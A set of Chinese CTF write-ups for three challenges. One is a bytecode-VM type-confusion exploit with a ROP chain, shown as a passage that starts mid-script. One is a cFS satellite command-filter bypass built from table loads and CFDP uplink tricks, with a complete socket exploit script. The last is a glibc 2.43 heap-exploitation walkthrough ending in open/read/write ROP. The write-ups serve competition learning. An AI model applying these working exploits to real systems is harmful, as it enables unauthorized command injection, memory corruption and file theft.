self.emit(b'\x01' + struct.pack('<Q', v & ((1 << 64) - 1)))
def lit(self, data):
self.emit(b'\x02' + struct.pack('<I', len(data)) + data)
def pop(self): self.emit(0x04)
def dup(self): self.emit(0x03)
def add(self): self.emit(0x05)
def sub(self): self.emit(0x06)
def mul(self): self.emit(0x07)
def arr(self, n): self.emit(b'\x08' + struct.pack('<I', n))
def sget(self, i): self.emit(b'\x0c' + struct.pack('<I', i))
def sset(self, i): self.emit(b'\x0d' + struct.pack('<I', i))
def concat(self): self.emit(0x0f)
def lg(self, i): self.emit(bytes([0x10, i & 0xff]))
def sg(self, i): self.emit(bytes([0x11, i & 0xff]))
def pr(self): self.emit(0x12)
def bobj(self, i): self.emit(bytes([0x14, i & 0xf]))
def ext(self, n): self.emit(b'\x16' + struct.pack('<I', n))
def extr(self, i): self.emit(b'\x17' + struct.pack('<I', i))
def bind(self): self.emit(0x19)
def call(self, i, n): self.emit(bytes([0x20, 0x99, i & 0xf, n & 0xff]))
def gadd(self, g, c):
"""push (global[g] + c)"""
self.lg(g); self.push(c); self.add()
def build(path=b'/flag'):
if isinstance(path, str):
path = path.encode()
path = path + b'\x00'
a = Asm()
# ------------------------------------------------------------------
# 1) leak PIE via a builtin object (+0x18 holds &0x59098+id*8)
# assemble the half value directly: pie_base/2
# ------------------------------------------------------------------
a.bobj(0); a.sg(0) # builtin object at heap offset 0
a.push(0)
for _ in range(0x3f):
a.push(0)
a.arr(0x40) # reader array: elem0 = 0
a.push(0); a.concat(); a.sg(1) # 0x40 heap bytes -> string
a.lg(1); a.sget(0x1f) # b7
for i in range(6, 0, -1):
a.push(256); a.mul()
a.lg(1); a.sget(0x18 + i); a.add()
a.push(128); a.mul(); a.push(0x98 // 2); a.add()
a.push(PIE_LEAK_OFF // 2); a.sub()
a.sg(10) # g10 = pie_base / 2
a.push(0); a.sg(0); a.push(0); a.sg(1) # drop leak objects
# ------------------------------------------------------------------
# 2) growing a big live string forces a GC that cleans the heap;
# afterwards the doubling chain stays live so the heap is clean
# ------------------------------------------------------------------
a.lit(b'\x00' * 0x10); a.sg(20)
for i in range(1, 13): # 0x10 .. 0x10000
a.lg(20 + i - 1); a.dup(); a.concat(); a.sg(20 + i)
# ------------------------------------------------------------------
# 3) heap layout: [dead Zd (0x100)][S1][S2][T]
# S2 length = 0x100 == Zd total size -> stale data points at T
# ------------------------------------------------------------------
zd = bytearray(b'\x00' * 0xE0)
pos = len(a.b); data_off = pos + 5
k = 0x40
while (0x65e40 + data_off + k) & 1:
k += 1
zd[k:k + len(path)] = path
path_rel = (0x65e40 + data_off + k) // 2
a.lit(bytes(zd)); a.pop() # Zd: dead, total 0x100
a.lg(24); a.push(0); a.concat(); a.sg(40) # S1 len 0x100
a.lg(24); a.push(0); a.concat(); a.sg(41) # S2 len 0x100
a.ext(16); a.sg(42) # T: extern object
a.lg(40); a.push(1); a.sset(0x100) # S1[0x100] -> S2.type = 1
a.lg(32); a.dup(); a.concat(); a.pop() # GC: S2 data becomes stale == T
for i in range(0x14, 0x18): # T.size = 0xFFFFFFFF (-1)
a.lg(41); a.push(0xFF); a.sset(i)
a.lg(41); a.push(0x00); a.sset(0x18) # T.slot = 0
# ------------------------------------------------------------------
# 4) bind slot 0 to &open64@got and read libc base
# ------------------------------------------------------------------
a.lg(10); a.push(2); a.mul(); a.sg(43) # g43 = pie_base
a.lg(42); a.gadd(43, GOT_OPEN64); a.bind()
a.lg(42); a.extr(7)
for i in range(6, -1, -1):
a.push(256); a.mul(); a.lg(42); a.extr(i); a.add()
a.sg(44)
a.lg(44); a.push(LIBC_OPEN64); a.sub(); a.sg(45) # g45 = libc base
# half value for the chain
a.lg(42); a.extr(7)
for i in range(6, 0, -1):
a.push(256); a.mul(); a.lg(42); a.extr(i); a.add()
a.push(128); a.mul(); a.push(0xF0 // 2); a.add()
a.push(LIBC_OPEN64 // 2); a.sub(); a.sg(46) # g46 = libc/2
# ------------------------------------------------------------------
# 5) overwrite builtin[0] with the pivot gadget (bind slot 8)
# ------------------------------------------------------------------
a.lg(41); a.push(0x08); a.sset(0x18)
a.lg(42); a.gadd(45, LIBC_PIVOT); a.bind()
# ------------------------------------------------------------------
# 6) ROP chain on the VM stack (each entry = address/2)
# ------------------------------------------------------------------
chain = [
('base', G_POPRDI_POPRBP), ('v', 0), ('v', 0),
('base', PLT_CLOSE), # close(0)
('base', G_POPRDI_POPRBP), ('path', 0), ('v', 0),
('base', G_POPRSI), ('v', 0),
('base', PLT_OPEN64), # open("/flag", 0) -> fd 0
('base', G_POPRDI_POPRBP), ('v', 0), ('v', 0),
('base', G_POPRSI), ('buf', 0),
('base', G_POPRAX_SKIP), ('base', SCRATCH_REL), ('v', 0), ('v', 0), ('v', 0),
('base', G_POPRDX), ('v', 0x100), ('v', 0),
('base', PLT_READ), # read(0, buf, 0x100)
('base', G_POPRDI_POPRBP), ('buf', 0), ('v', 0),
('base', G_POPRSI), ('libc', LIBC_STDOUT),
('base', PLT_FPUTS), # fputs(buf, stdout)
('base', G_POPRDI_POPRBP), ('v', 0), ('v', 0),
('base', PLT_EXIT),
]
for ent in chain:
if ent[0] == 'v':
a.push(ent[1] // 2 if ent[1] else 0)
elif ent[0] == 'base':
a.gadd(10, ent[1] // 2)
elif ent[0] == 'path':
a.gadd(10, path_rel)
elif ent[0] == 'buf':
a.gadd(10, BUF_REL // 2)
elif ent[0] == 'libc':
a.gadd(46, ent[1] // 2)
a.call(0, len(chain))
return bytes(a.b)
def exploit(host, port, path=b'/flag', timeout=10):
prog = build(path)
s = socket.create_connection((host, port), timeout=timeout)
s.settimeout(timeout)
s.sendall(struct.pack('<I', len(prog)) + prog)
out = b''
try:
while True:
d = s.recv(4096)
if not d:
break
out += d
except socket.timeout:
pass
s.close()
return out
if __name__ == '__main__':
if len(sys.argv) < 2:
print('usage: exploit.py [path]')
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
path = sys.argv[3] if len(sys.argv) > 3 else '/flag'
res = exploit(host, port, path.encode())
sys.stdout.write(res.decode('latin1'))
print()八、flag
flag{fb3c253c-3687-4b79-8504-17c61d6b6cae}
考点补充
核心考点:手写字节码虚拟机的指令语义还原与类型混淆——
concat只按最低位奇偶性判类型,数组被当成字符串拼接即成为任意堆读;再叠加字符串容量字段与实际 payload 相差 1 字节的 off-by-one,越界改写相邻堆块类型。关键技巧:用「类型污染 + 压缩式 GC」制造悬空数据指针,让 S2 的旧数据指针恰好落在搬迁后的 extern 对象 T 上,从而伪造出
size = -1的对象;再用bind对table[slot]的 8 字节写换取任意读写,最后以libc+0x5ef6f的mov rsp, rdx ; ret把 VM 栈上的参数数组变成 ROP 链。常见坑:push 会把值左移一位,ROP 里每个地址都得压入「地址/2」且只能表示偶数常量,所以要
close(0)让open("/flag")返回 fd 0、用fputs(buf, stdout)避开 fd 1;另外concat读堆的偏移要除 2,而sset的写入值是原值不除 2,写反会一直 type trap。延伸:seccomp 白名单放行的是
openat而非open,换到只给openat的环境可改成openat(-100, "/flag", 0)(AT_FDCWD = -100仍为偶数,可用 push 表示),并把路径地址放进可写的 VM 堆;同类「bump 分配 + 压缩 GC」的解释器只要存在一种 GC 不搬迁的类型,就可能复现这条 stale pointer 链。
babystar
本题给出一个有限权限的模拟卫星测控站,目标是从卫星端文件 /cf/host/flag 取回重要信息。靶场地址为 nc 47.93.22.114 36917(实例初始化约 2 分钟),链路使用以下四类帧:C 为地面到卫星的 CCSDS 命令包,F 为双向 CFDP PDU,T 为卫星到地面的遥测,E 为卫星到地面的 ASCII 错误文本。每帧的封装为 1 字节类型、4 字节大端长度、载荷三部分。
直接向 CF 的 TX_FILE 命令会被地面站过滤器拒绝(E command not permitted),但过滤器放行 CF 的 NOOP、TBL 的表加载/校验/激活以及 MM 消息。本文利用这一点:先通过 CFDP 上行把自定义的 HK 复制表和 HS 消息动作表写入 /cf/uplink,用 TBL 命令加载并激活;再由 HS 表触发 HK 发送组合包命令,把伪装成 MM 消息的 CF TX_FILE 载荷转发给 CF;最后 CF 以 CFDP 把 /cf/host/flag 下传,从 F 帧中取出 flag。整个链路在远端实例上完整执行并捕获到 flag。
先用 CF NOOP 确认链路和版本:向 MID 0x18B3 发送 function code 0 的空命令,收到事件 CF: No-Op received, Version 7.0.1.255。遥测流中的 APID 覆盖 0x0800、0x0801、0x0803、0x0804、0x0805、0x0880、0x0883、0x0884、0x088a、0x0890、0x089b、0x08a4、0x08a7、0x08aa、0x08ad、0x08b0、0x08b8、0x08fb,与 cFS 样例任务中 CF、HK、HS、TBL、MM 等应用的组合一致。CFDP 使用的实体号为地面 23、卫星 25。
链路探测与权限边界
地面站的权限边界可以直接用 C 帧探测。过滤器的判定粒度是“MID + function code”,不是“应用”:
探测命令 | 帧内容 | 结果 |
|---|---|---|
CF NOOP | MID | 放行,事件 |
CF TX_FILE(compat) | MID | 拒绝, |
TBL LOAD(不存在的文件) | MID | 放行,事件 |
MM 非法长度命令 | MID | 放行,事件 |
由此可以确定:危险的是 CF 的 TX_FILE 本身;表管理和 MM 消息仍可用。于是把“发 TX_FILE”这一步从地面站移到卫星内部完成:用 HK 的复制表把一条 MM 消息改造成 CF 命令,再由 HS 的消息动作触发 HK 发送。
CFDP 桥接帧格式
F 帧不是标准的 cFS CFDP 标志位布局,而是靶场桥接器的简化格式。实测两种类型字节:0x20 表示 metadata,0x30 表示 file data;如果按 cFS 规范把 0x30 当 metadata 发,会收到 E file data without metadata,可以反证这一点。每个 PDU 的头部为:
偏移 | 长度 | 字段 |
|---|---|---|
0 | 1 | 类型: |
1 | 2 | 后续数据长度(大端) |
3 | 1 | eid_tsn_lengths,本靶场取 |
4 | 1 | 源 EID,地面为 23 |
5 | 1 | 事务号,1 字节(0–255) |
6 | 1 | 目的 EID,卫星为 25 |
7 | … | PDU 数据 |
三类 PDU 的数据部分分别为:Metadata:07 00 + 文件大小(4 字节大端)+ LV 源文件名 + LV 目的文件名。07 是 Metadata 指令码,00 是控制字节(checksum type 0、无闭合请求)。File Data:4 字节大端偏移 + 文件内容。EOF:04 00 + 校验和(4 字节大端,按 32 位大端字求和取模 2^32)+ 文件大小(4 字节大端)。
一次合法的上传会依次产生如下事件(以 5 字节文件为例):
EV: CF R2(23:10): starting transaction using temp file '/cf/tmp/23_10.tmp'
EV: CF R2(23:10): md received, source: probe.tbl, dest: /cf/uplink/probe.tbl
EV: CF R2(23:10): successfully retained file as /cf/uplink/probe.tbl也就是说,桥接器会把目的文件名规范化到 /cf/uplink/ 目录下;测试中曾对不安全的目的名返回 E unsafe CFDP destination filename。另外,桥接器对 file data 有内容白名单:如果第一个 file-data PDU 不是合法的 cFE1 表镜像,数据会被丢弃,接收端随后发 NAK。例如上传内容 HELLO 时,EOF 后收到:
F: 28001100170a190800000000000000000000000000000005这是 08(NAK)指令、范围 0–5 的重传请求;而上传一个 600 字节、以 cFE1 表头开头的镜像时,两段数据都被接收并成功保留。因此后续上传 HS 表时采用“封面”技巧:第一个 file-data PDU 先发一个同长度的合法 HK 表镜像,通过检查后再用真实内容覆盖同一偏移;EOF 校验和按真实内容计算。
cFE1 表镜像与 HK 复制表
cFE1 表镜像的格式为 64 字节文件头、52 字节表头、表数据三部分:
部分 | 内容 |
|---|---|
文件头(64B) | 魔数 |
表头(52B) | 0、0、表数据长度(4B 大端)、表名(40B) |
表数据 | 按 CFE TBL 的表结构序列化 |
HK 的复制表 HK.CopyTable 由 128 个 16 字节条目组成。条目结构为:
typedef struct {
CFE_SB_MsgId_t InputMid; // 4B
uint16 InputOffset; // 2B
// 2B 对齐填充
CFE_SB_MsgId_t OutputMid; // 4B
uint16 OutputOffset; // 2B
uint16 NumBytes; // 2B
} HK_CopyTableEntry_t; // 16B前 5 条沿用默认表的部分输入(0x0801、0x0805、0x0803、0x0800、0x0804),各自从报文偏移 12 复制 4 字节到输出 MID 0x089C 的偏移 12、16、20、24、28,用来维持 HK 组合包的常规字段;它们不是绕过链的关键。真正关键的是最后两条:
InputMid | InputOffset | OutputMid | OutputOffset | NumBytes | 作用 |
|---|---|---|---|---|---|
| 8 |
| 8 | 136 | 把 MM 消息的载荷复制成 CF 命令载荷 |
| 144 |
| 6 | 1 | 把最后一个字节 |
输出包的大小由“最大 OutputOffset + NumBytes”决定,正好是 144 字节;HK 用 CFE_MSG_Init 把消息 MID 初始化为 0x18B3,再把复制到的数据放到对应偏移。于是输出包就是一条总长 144 字节的 CF 命令:偏移 6 为功能码 0x20(CF_TX_FILE),偏移 8 起为 136 字节的 CF_TxFile_Payload_t。偏移 7 的校验和保持 0,CF 仍然接受了这条命令。
上传并激活该表的过程与普通表一致:
EV: LoadFile,file=/cf/uplink/hk_cf.tbl,tbl=HK.CopyTable:Successful load into working buffer
EV: HK validation successful for inactive 'HK.CopyTable'
EV: HK Successfully Updated 'HK.CopyTable'HS 表与卫星内部触发
这里有一个细节:HK 的复制表只在收到输入 MID 的消息时复制数据,它本身并不发送输出包。HK 源码中的 HK_ProcessNewCopyTable 为每个 OutputMid 分配组合包缓冲区,真正发送要等 HK_SendCombinedHkPacket;该函数由 HK_SEND_COMBINED_PKT 命令触发,本题该命令 MID 为 0x189C,载荷是 4 字节的目标 MID。也就是说,还需要在卫星内部发一条 MID 为 0x189C、载荷为 0x18B3 的消息,HK 才会把伪造的 CF 命令发到总线上。
cFS HS 的两张表正好提供了“发一条存储消息”的能力:
HS.MsgActs_Tbl 的消息动作条目为 uint16 EnableState、uint16 Cooldown、4 字节对齐填充、16 字节消息缓冲,共 24 字节。我们只填第一条:EnableState=1、Cooldown=0、消息为 ccsds(0x189C, 0, pack("<I", 0x18B3)),即“让 HK 发送组合包 0x18B3”。
HS.AppMon_Tbl 的应用监控条目为 char AppName[20]、uint16 NullTerm、uint16 CycleCount、uint16 ActionType,共 26 字节。我们填 NO_SUCH_APP、0、1、4:监控一个不存在的应用,1 个周期后判定失败,执行动作 4(消息动作,索引 0)。
两张表的镜像分别只有 140 和 142 字节,表数据只覆盖第一条。TBL 的镜像加载按偏移覆盖,校验函数只检查有效条目,因此部分镜像可以通过。实测校验事件为:
EV: MsgActs verify results: good = 2, bad = 0, unused = 6
EV: HS validation successful for inactive 'HS.MsgActs_Tbl'
EV: AppMon verify results: good = 1, bad = 0, unused = 31
EV: HS validation successful for inactive 'HS.AppMon_Tbl'HS 表的真实内容不是 HK 表镜像,不能通过上行的第一个 PDU 白名单,因此上传时使用 overlap=True:先用 table_image("HK.CopyTable", bytes(len(content)-116)) 生成同长度的封面,完整发送一遍;再完整发送真实内容,覆盖同一段偏移;EOF 的校验和与大小按真实内容计算。封面只用于让第一个 file-data PDU 通过检查,最终落盘的是真实表。
载波构造与触发顺序
载波是一条伪装成 MM 命令的 C 帧。MID 用 0x1888(MM),功能码 0,载荷为 CF 的 TX_FILE 结构加一个尾字节 0x20:
cf_body = struct.pack(
"<BBBBI64s64s",
0, # cfdp_class: 0 = class 1
1, # keep
1, # chan_num: 1
0, # priority
23, # dest_id: 地面 EID
b"/cf/host/flag",
b"flag",
)
carrier = ccsds(0x88, 0, cf_body + b"\x20") # 145Bstruct.pack 的 136 字节载荷放在偏移 8;尾字节 0x20 放在偏移 144,供 HK 复制到输出包的偏移 6(功能码)。载波总长 145 字节,MM 会因长度不符拒绝,但 HK 仍然按自己的复制表复制,MM 的拒绝不影响这条链路。发送载波后,HK 的 0x18B3 输出缓冲区已经被填好,但还没有发送。
触发顺序必须是:① 激活 HS.MsgActs_Tbl(之前已完成);② 加载并校验 HS.AppMon_Tbl,但先不激活;③ 发送载波,等待约 2 秒,让 HK 完成复制;④ 激活 HS.AppMon_Tbl。激活后 HS 发现 NO_SUCH_APP 缺失,执行动作 4,发送存储的 HK_SEND_COMBINED_PKT(0x18B3);HK 随即把 144 字节的伪造 CF 命令发到总线。实际事件如下:
EV: Invalid Msg length: ID = 0x1888, CC = 0, Len = 145, Expected = 8
EV: HS Successfully Updated 'HS.AppMon_Tbl'
EV: App Mon not found: NO_SUCH_APP, status=c4000002
EV: App Monitor Failure: APP: (NO_SUCH_APP): Action: Message Action Index: 0
EV: CF: start class 1 tx of file 25:/cf/host/flag -> 23:flag
EV: CF: file transfer successfully initiated下传解析与 flag
CF 以 class 1 把 /cf/host/flag 发往 EID 23,通道 1。由于 CF 的 TX 通道消息被桥接器转成 F 帧,下传的 metadata 和 file data 会直接出现在链路上。
下传的两个 F 帧如下(已去掉 1 字节类型和 4 字节长度,保留 PDU):
F: 2400190019011707000000002a0d2f63662f686f73742f666c616704666c6167
F: 34002e0019011700000000666c61677b65343164363364652d646333392d343430382d623966622d3133393464386330643831317d第一帧是 metadata:类型 0x24,长度 0x0019,eid_tsn_lengths=0x00,源 25,事务号 1,目的 23,数据为 07 00 0000002a 0d "/cf/host/flag" 04 "flag",文件大小为 42 字节。第二帧是 file data:类型 0x34,长度 0x002e,源 25,事务号 1,目的 23,数据为 4 字节偏移 0 加 42 字节文件内容。按“类型字节的 0x10 位为 file data、偏移 4 为源 EID 25”解析,取偏移 7 起的 4 字节作为数据偏移,偏移 11 起为文件内容;按偏移拼接后用正则匹配 flag{[^}]+},得到:
flag{e41d63de-dc39-4408-b9fb-1394d8c0d811}完整复现脚本
以下脚本是实际使用的完整复现脚本,包含协议封装、表镜像构造、CFDP 上传、TBL 加载/校验/激活、载波发送、HS 触发与下传解析。运行方式为 python exploit.py <txn_base>;txn_base 取 0–255,配合三个上传事务号使用。
import re
import socket
import struct
import sys
import time
DEFAULT_HOST = "47.93.22.114"
DEFAULT_PORT = 36917
def ccsds(apid, code, body=b""):
header = struct.pack(">HHHBB", 0x1800 | apid, 0xC000,
len(body) + 1, code, 0)
packet = bytearray(header + body)
packet[7] = 0xFF # checksum is not verified by this build
return bytes(packet)
def table_image(name, data):
# cFS table image: 64-byte file header + 52-byte table header + payload
fs_header = struct.pack(">8I32s", 0x63464531, 8, 64, 0x42,
1, 0, 0, 0, b"Table Image")
tbl_header = struct.pack(">III40s", 0, 0, len(data), name.encode())
return fs_header + tbl_header + data
def hk_entry(input_mid, input_offset, output_mid, output_offset, count):
# InputMid(4) InputOffset(2) pad(2) OutputMid(4) OutputOffset(2) NumBytes(2)
fmt = "<I H 2x I H H"
return struct.pack(fmt, input_mid, input_offset,
output_mid, output_offset, count)
def build_payloads():
# Keep the five normal HK combined-packet inputs, then two relay entries.
defaults = [0x0801, 0x0805, 0x0803, 0x0800, 0x0804]
entries = [
hk_entry(mid, 12, 0x089C, 12 + 4 * i, 4)
for i, mid in enumerate(defaults)
]
entries += [
hk_entry(0x1888, 8, 0x18B3, 8, 136),
hk_entry(0x1888, 144, 0x18B3, 6, 1),
]
hk = table_image("HK.CopyTable", b"".join(entries).ljust(2048, b"\0"))
# HS message action: send HK_SEND_COMBINED_PKT(0x18B3) on MID 0x189C.
trigger = ccsds(0x9C, 0, struct.pack("<I", 0x18B3))
mat = table_image("HS.MsgActs_Tbl", struct.pack("<HH4x16s", 1, 0, trigger))
# HS app monitor: NO_SUCH_APP is always missing -> action 4 -> action index 0.
amt = table_image("HS.AppMon_Tbl",
struct.pack("<20sHHH", b"NO_SUCH_APP", 0, 1, 4))
# CF TX_FILE (standard CC=0x20) payload disguised as an invalid MM NOOP.
cf_body = struct.pack("<BBBBI64s64s", 0, 1, 1, 0, 23,
b"/cf/host/flag", b"flag")
carrier = ccsds(0x88, 0, cf_body + b"\x20")
assert len(hk) == 2164 and len(mat) == 140
assert len(amt) == 142 and len(carrier) == 145
return hk, mat, amt, carrier
def cfdp_pdu(mode, txn, data):
# type byte 0x20=metadata, 0x30=file data; lengths byte 0 => 1-byte fields.
header = bytes([23, txn, 25])
return bytes([mode]) + len(data).to_bytes(2, "big") + b"\0" + header + data
def cfdp_checksum(content):
padded = content + b"\0" * (-len(content) % 4)
total = sum(int.from_bytes(padded[i:i + 4], "big")
for i in range(0, len(padded), 4))
return total & 0xFFFFFFFF
def read_exact(sock, length):
buf = bytearray()
while len(buf) < length:
part = sock.recv(length - len(buf))
if not part:
raise EOFError("connection closed")
buf.extend(part)
return bytes(buf)
class Link:
def __init__(self, host, port):
self.sock = socket.create_connection((host, port), 8)
self.sock.settimeout(0.4)
self.flag = None
self.parts = {}
def send(self, kind, payload):
self.sock.sendall(kind + len(payload).to_bytes(4, "big") + payload)
def send_command(self, apid, code, body=b""):
self.send(b"C", ccsds(apid, code, body))
def receive(self, seconds, expected=None):
end = time.time() + seconds
while time.time() < end:
try:
header = read_exact(self.sock, 5)
payload = read_exact(self.sock, int.from_bytes(header[1:], "big"))
except socket.timeout:
continue
kind = header[:1]
if kind == b"E":
raise RuntimeError(payload.decode(errors="replace"))
if kind == b"T" and payload[:2] == b"\x08\x08":
event = payload[48:].split(b"\0")[0].decode(errors="replace")
if event:
print("EV:", event)
if expected and expected in event:
return True
if kind == b"F":
self._on_f(payload)
if self.flag and expected is None:
return True
if expected:
raise TimeoutError(f"no event containing {expected!r}")
return False
def _on_f(self, payload):
found = re.search(rb"flag{[^}]+}", payload)
if found:
self.flag = found.group().decode()
# Downlink file-data PDU: type bit 0x10 set, source EID 25 at offset 4.
if len(payload) >= 11 and (payload[0] & 0x10) and payload[4] == 25:
offset = int.from_bytes(payload[7:11], "big")
self.parts[offset] = payload[11:]
content = b"".join(self.parts[pos] for pos in sorted(self.parts))
found = re.search(rb"flag{[^}]+}", content)
if found:
self.flag = found.group().decode()
def upload(self, name, content, txn, overlap=False):
versions = [content]
if overlap:
# Uplink allowlist examines the first file-data PDU only:
# send a legal HK table image of the same length first, then overwrite it.
cover = table_image("HK.CopyTable", bytes(len(content) - 116))
assert len(cover) == len(content)
versions = [cover, content]
filename = name.encode()
metadata = b"\x07\0" + len(content).to_bytes(4, "big")
lv_name = bytes([len(filename)]) + filename
metadata += lv_name + lv_name
self.send(b"F", cfdp_pdu(0x20, txn, metadata))
self.receive(0.5)
for version in versions:
for offset in range(0, len(version), 480):
segment = offset.to_bytes(4, "big") + version[offset:offset + 480]
self.send(b"F", cfdp_pdu(0x30, txn, segment))
self.receive(0.5)
eof_crc = cfdp_checksum(content).to_bytes(4, "big")
eof = b"\x04\0" + eof_crc + len(content).to_bytes(4, "big")
self.send(b"F", cfdp_pdu(0x20, txn, eof))
self.receive(12, f"successfully retained file as /cf/uplink/{name}")
def load_and_validate(self, filename, table_name):
self.send_command(0x04, 2, f"/cf/uplink/{filename}".encode().ljust(64, b"\0"))
self.receive(10, "Successful load into working buffer")
self.send_command(0x04, 4, b"\0\0" + table_name.encode().ljust(40, b"\0"))
self.receive(10, "validation successful")
def activate(self, table_name):
self.send_command(0x04, 5, table_name.encode().ljust(40, b"\0"))
self.receive(10, f"Successfully Updated '{table_name}'")
def main():
host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
txn_base = int(sys.argv[3]) if len(sys.argv) > 3 else 200
hk, mat, amt, carrier = build_payloads()
link = Link(host, port)
try:
link.upload("hk_cf.tbl", hk, txn_base)
link.load_and_validate("hk_cf.tbl", "HK.CopyTable")
link.activate("HK.CopyTable")
link.upload("hs_mat_x.tbl", mat, txn_base + 1, overlap=True)
link.load_and_validate("hs_mat_x.tbl", "HS.MsgActs_Tbl")
link.activate("HS.MsgActs_Tbl")
link.upload("hs_amt_x.tbl", amt, txn_base + 2, overlap=True)
link.load_and_validate("hs_amt_x.tbl", "HS.AppMon_Tbl")
link.send(b"C", carrier) # MM rejects it, HK still copies it into 0x18B3
link.receive(2)
link.activate("HS.AppMon_Tbl") # fires the stored HK command
if not link.flag:
link.receive(30)
if not link.flag:
raise TimeoutError("flag file was not received")
print("FLAG:", link.flag)
finally:
link.sock.close()
if __name__ == "__main__":
main()远端复现结果
在远端实例 47.93.22.114:36917 上完整执行上述链路,CF 返回 file transfer successfully initiated,随后下传的 file data PDU 中包含 flag;该值来自卫星端 /cf/host/flag 的实际文件内容,而不是本地测试串。记录如下:
EV: CF: start class 1 tx of file 25:/cf/host/flag -> 23:flag
F: 34002e0019011700000000666c61677b65343164363364652d646333392d343430382d623966622d3133393464386330643831317d
FLAG: flag{e41d63de-dc39-4408-b9fb-1394d8c0d811}考点补充
核心考点:cFS 卫星软件的命令权限绕过——地面站过滤器只认“MID + function code”,封死了 CF TX_FILE,却放行 TBL 表加载与 MM 消息,于是一条被放行的表加载路径就能把受限功能重新装回总线。
关键技巧:用 HK.CopyTable 的两条复制条目把 MM 消息载荷(偏移 8,136 字节)和尾字节
0x20分别搬到输出 MID0x18B3的偏移 8 与偏移 6,拼出 144 字节的合法 CF_TX_FILE;再用 HS.AppMon 监控不存在的应用触发消息动作,发出HK_SEND_COMBINED_PKT(0x18B3)把这份缓冲区真正送出去;上行则用同长度合法 HK 表作封面通过首个 file-data PDU 白名单,再以真实内容覆盖同一偏移、EOF 按真实内容算校验和。常见坑:桥接器的 F 帧类型字节是
0x20/0x30而非 cFS 规范的标志位布局,按规范发0x30当 metadata 会得到file data without metadata;EOF 校验和是“按 32 位大端字求和取模 2^32”,算错就让落盘失败;HS 部分镜像依赖 TBL 按偏移覆盖且只校验有效条目;触发顺序若先激活 AppMon 再发载波,HK 缓冲区还是空的,必须发完载波等约 2 秒再激活。延伸:这类“入口过滤、内部能力齐全”的架构(cFS、CCSDS 星载总线)可统一看成“找一条被放行的数据通道,把受限命令降级成数据搬进去”;同样的思路适用于工控与航天总线的命令注入评估,也说明只按 function code 做黑名单而忽略应用间消息转发是不够的。
drywell
漏洞位于 cmd_edit()。写完 len 字节后,程序还会在 n->data[n->cap] 补写一个字节:
n->data[n->cap] = (char)(((((len >> 4) ^ poison_key) & 0xe) << 4) |
(n->data[n->cap] & 0x0f));note 的 cap 恰好等于该 chunk 的可用大小,因此 n->data[n->cap] 正是下一个物理 chunk 的 size 字段首字节。poison_key 从 /key 读取并 &= 0xf,只有 4 bit。写入值保留原 size 的低 4 位(包括 PREV_INUSE),高半字节取 ((len >> 4) ^ poison_key) & 0xe。
因此每次 edit 都能把相邻 chunk 的 size 在同一 0x100 块内按 0x20 步长改变:0x500→0x520/0x540/…/0x5e0;不能跨 0x100 块,但足以制造伪造 free、重叠 chunk 和 unsorted bin 攻击。
view 只有 8 次,泄漏机会必须省着用。本解用 2 次得到 libc 和 heap,1 次读 environ,剩余用于确认 main 的 saved RIP。
题目使用 glibc 2.43:fastbin 已移除;free 会检查 next chunk 的 PREV_INUSE;exact-fit 分支在 tcache 未初始化时会调用 tcache_init()。这些细节直接影响了下面的布局。
1. 两次 no-merge 伪造 free,泄漏 libc 与 heap
分配 B、C(class 0)相邻。用 B 前一个 note 的 edit 把 B 的 size 改成 0x5e0;在
C+0xe0处伪造 next chunk(size=0x501,next-in-use 置位),free(B)得到 0x9e0 的 unsorted chunk。add class 0从 0x9e0 切出 0x500,余下 0xe0 正好落在 C 的 chunk header 上。C 仍然存活,因此可以读写这个 remainder 的 fd/bk。对第二组 B2/C2 重复。两次 add 把两个 0xe0 remainder 放进同一个 smallbin:后插入的 chunk 的 fd 指向前一个 chunk(heap 地址)。
view C1 0得到 smallbin head(libc);view C2 0得到前一个 remainder(heap)。
2. class-2 重叠 C/D
用 heap base 在
C+0xe0处放置 fake chunk:size=0x440、fd=bk=fake、fd_nextsize=NULL;free 掉被改成 0x5e0 的 B,前向合并得到 0x1120 的 free chunk。add class 2从 B 切出 0x1000,返回的 note N 的数据覆盖 C、D 的 chunk header;之后通过 N 可以任意修改 C/D 的 prev_size 和 size。注意:前向合并的 unlink 要求 fake chunk 的 fd/bk 是合法绝对地址,所以这一步必须在拿到 heap leak 之后。
3. 激活 tcache
把 C 的 size 改成 0x101 后
free(C)。此时 tcache 尚未初始化,tcache_init()内部会执行_int_malloc(0x300),遍历 unsorted bin;如果 unsorted 已被破坏,就会 abort。因此先用重叠 note 修好 class-2 切出的 remainder R'(
B+0x1000,size 0x120),再 free C,让 tcache 正常初始化。之后 exact-fit 分支不会再调用tcache_init。
4. backward consolidation + 精确匹配 unsorted attack
在 C2 的 data 中伪造 chunk A:size=0x12f0,fd=bk=A,fd_nextsize=NULL。通过 N 把 D 的 prev_size 改成
D-A、清除 PREV_INUSE;free(D)后合并到 A,得到 0x17f0 的 free chunk。add class 1在A+0x900 = notes[7].data处留下 remainder V。通过 N 把 V 的 size 改成 0x501,并在
V+0x500处伪造 next chunk(prev_size=0x500,size=0x500,PREV_INUSE=0)。add class 0走 exact-fit:移除 V 时执行bck->fd = unsorted_chunks(av),其中bck = ¬es[7].data - 0x10;于是notes[7].data = main_arena+8。关键:V 的 size 必须精确等于本次请求的 0x500,否则移除后
unsorted->bk仍指向 bck,下一次循环会 abort;exact-fit 会在写入后立即 return。
5. 伪造 top,吃掉 ledger
通过
notes[7].data = main_arena+8,edit 写入av->top = heap_base+0x10,清空 unsorted、binmap,并修好 system_mem 等字段。把
notes[0].len设为 0xff8(作为 fake top 的 size);add class 0从 fake top 切块,返回heap_base+0x20,正好覆盖 notes 数组。之后 edit 新 note 覆盖
notes[1].data/cap,得到任意地址读写。
6. environ + ORW ROP
environ = libc+0x219de8;main 的 saved RIP =environ-0x140(argc=1)。脚本会从 S 开始向后扫几个 8 字节,匹配libc+0x2a601,兼容 argc 变化。写入 ROP:
open("/flag", O_RDONLY)->read(3, stack, 0x100)->write(1, stack, 0x100)->_exit(0)。发满 256 条命令让 main 正常 return,触发 ROP。seccomp 允许 open/read/write/exit_group;
/key在启动时已关闭,open 返回 fd 3。
表 1 关键 libc 偏移(以题目自带 libc.so.6 为基准)
项目 | 偏移 / 值 | 说明 |
|---|---|---|
|
| malloc_state |
|
| main_arena + 8 |
|
| libc 中的 environ 变量 |
main saved RIP |
| argc = 1;脚本兼容少量偏移 |
|
| libc 函数 |
|
